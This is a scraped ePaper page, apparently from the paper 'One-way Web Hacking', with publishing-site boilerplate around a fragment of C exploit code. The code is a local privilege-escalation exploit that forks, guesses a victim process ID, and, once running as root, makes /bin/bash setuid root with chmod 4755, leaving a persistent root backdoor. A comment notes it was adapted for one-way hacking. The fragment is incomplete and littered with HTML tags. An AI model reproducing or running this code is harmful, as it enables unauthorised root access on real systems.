12.07.2013 Views

One-way Web Hacking

One-way Web Hacking

One-way Web Hacking

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

{<br />

if (geteuid() == 0) {<br />

initgroups("root", 0);<br />

setgid(0);<br />

setuid(0);<br />

// execl(_PATH_BSHELL, _PATH_BSHELL, NULL);<br />

// line below is a modification to adapt the exploit<br />

// for one-<strong>way</strong> hacking<br />

}<br />

}<br />

execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL);<br />

fatal("[-] Unable to spawn shell");<br />

int main(int argc, char ** argv)<br />

{<br />

prepare();<br />

signal(SIGALRM, sigalrm);<br />

alarm(10);<br />

parent = getpid();<br />

child = fork();<br />

victim = child + 1;<br />

if (child == -1)<br />

fatal("[-] Unable to fork");<br />

if (child == 0)<br />

do_child();<br />

else<br />

do_parent(argv[0]);

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!